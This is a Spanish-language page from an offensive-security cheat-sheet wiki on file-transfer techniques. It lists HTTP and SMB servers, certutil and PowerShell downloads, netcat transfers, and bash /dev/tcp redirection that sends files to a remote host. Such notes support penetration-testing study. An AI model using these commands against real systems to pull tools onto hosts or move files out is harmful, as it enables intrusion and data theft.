pwn3d.es
h4cker_b00k/1158 páginas
Abrir GitBook
Herramientas / TécnicasGitBook

Transferencia de archivos

Ver en GitBook

Verificación de integridad

md5sum <file>
certutil -hashfile <file> md5

HTTP

HTTP Server

python3 -m http.server <port>
python2 -m SimpleHTTPServer <port>
php -S 0:<port>

Download

wget <url>
curl -s <url> -o <out_file>
(New-Object Net.WebClient).DownloadString('<url>') > <out_file>
Invoke-WebRequest <url> -o <out_file>
certutil -urlcache -split -f <url> <out_file>

SMB

SMB Server

smbserver.py <share_name> <share_path> -smb2support [-username <out_file> -password <out_file>]

Download

smbclient -U '<user>[%<password>]' //<ip>/<share> -c "get <src_file> <out_file>"
# mount smb Share to drive
net use z: \\<ip>\<share> [/user:$USERNAME $PASSWORD]
# copy from share
copy \\<ip>\<share>\<src_file> <out_file>

Netcat

nc -nlvp <port> < <src_file>
nc <ip> <port> > <out_file>

Bash

cat <src_file> > /dev/tcp/<ip>/<port>
cat < /dev/tcp/<ip>/<port> > <out_file>

Esta página se ha importado desde tu GitBook. La edición del contenido se hace allí y se refleja en la próxima sincronización.

Editar en GitBook ↗